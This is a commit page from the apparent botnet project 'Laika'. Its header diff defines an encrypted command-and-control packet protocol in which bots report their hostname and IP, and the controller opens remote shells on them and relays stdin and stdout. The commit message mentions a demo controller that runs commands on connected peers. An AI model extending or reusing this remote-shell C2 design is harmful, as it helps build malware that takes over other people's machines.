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Added LAIKAPKT_SHELL_*, fixed variadic packets

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- added bot/shell.[ch]
- simple demo cnc which runs 'ls -a' on the connect peer
This commit is contained in:
CPunch
2022-02-21 17:25:49 -06:00
parent 02c3176bc4
commit 5c31fb861b
10 changed files with 322 additions and 42 deletions
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42
lib/include/lpacket.h
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@@ -11,6 +11,10 @@
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPV4_LEN 16
/* max number of concurrent shells per peer */
#define LAIKA_MAX_SHELLS 16
#define LAIKA_SHELL_DATA_MAX_LENGTH 256
/* first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
@@ -24,7 +28,18 @@
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
*/
/*
any packet ending with *_RES is cnc 2 peer
any packet ending with *_REQ is peer 2 cnc
if packet doesn't have either, it can be sent & received by both peer & cnc
*/
enum {
/* ==================================================[[ Peer ]]================================================== */
LAIKAPKT_VARPKT,
/* layout of LAIKAPKT_VARPKT:
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
/* layout of LAIKAPKT_HANDSHAKE_REQ:
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
@@ -38,27 +53,36 @@ enum {
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian;
*/
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
/* layout of LAIKAPKT_SHELL_OPEN:
* uint8_t id;
*/
LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */
/* layout of LAIKAPKT_SHELL_CLOSE:
* uint8_t id;
*/
LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */
/* layout of LAIKAPKT_SHELL_DATA
* uint8_t id;
* char buf[VAR_PACKET_LENGTH]
*/
/* ==================================================[[ Auth ]]================================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_ADD_PEER, /* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
* char ipv4[LAIKA_IPV4_LEN];
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER, /* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
LAIKAPKT_VARPKT_REQ,
/* layout of LAIKAPKT_VARPKT_REQ:
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
LAIKAPKT_MAXNONE
};